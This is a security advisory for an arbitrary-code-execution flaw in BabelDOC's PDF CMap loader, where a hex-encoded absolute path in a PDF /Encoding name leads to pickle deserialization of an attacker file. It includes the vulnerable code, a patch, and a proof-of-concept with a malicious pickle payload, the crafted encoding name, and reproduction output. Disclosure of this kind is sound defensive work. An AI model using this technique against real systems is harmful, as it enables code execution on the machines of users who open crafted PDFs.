PyPI · BabelDOC
BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.
The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # line 233 — only NUL is stripped
filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string
...
for directory in cmap_paths:
path = os.path.join(directory, filename) # line 241 — no realpath/canonical check
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle
Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.
Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.
Data flow from PDF to sink:
babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.babeldoc/main.py:678–679 — path stored in TranslationConfig(input_file=file).babeldoc/format/pdf/high_level.py:472–488 — translation_config.input_file enters the translate pipeline.babeldoc/format/pdf/high_level.py:805–848 — PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.babeldoc/format/pdf/new_parser/native_parse.py:60–70 — prepared pages loaded and interpreted.babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34 — PyMuPDF opens the PDF and builds page resources.babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94 — font resources converted to PreparedFontSpec.babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35 — page resource bundle resolves root font map.babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87 — each font spec projected and passed to font_factory.create_font.babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493 — CID fonts call build_cid_cmap(spec, literal_name=literal_name).babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.babeldoc/pdfminer/cmapdb.py:233–245 — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().Sanitization gaps:
name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.Recommended patch (babeldoc/pdfminer/cmapdb.py):
--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
- path = os.path.join(directory, filename)
+ base_dir = os.path.realpath(directory)
+ path = os.path.realpath(os.path.join(base_dir, filename))
+ try:
+ if os.path.commonpath([base_dir, path]) != base_dir:
+ continue
+ except ValueError:
+ continue
if os.path.exists(path):
gzfile = gzip.open(path)
A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.
Environment setup (Docker — recommended for isolation):
# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap
Manual setup (local venv):
python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py
PoC script (poc.py) — key steps:
import gzip, pathlib, pickle, sys
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
def __reduce__(self):
return (pathlib.Path(str(PROOF_FILE)).write_text,
("RCE_CONFIRMED: pickle.loads executed attacker payload",))
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py
# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
extract_text(str(MALICIOUS_PDF))
except TypeError:
pass # expected: type(name, (), <int>) fails after write_text returns int
# Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"
Phase 2 dynamic reproduction output (Docker container):
[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.
============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================
The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successf
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.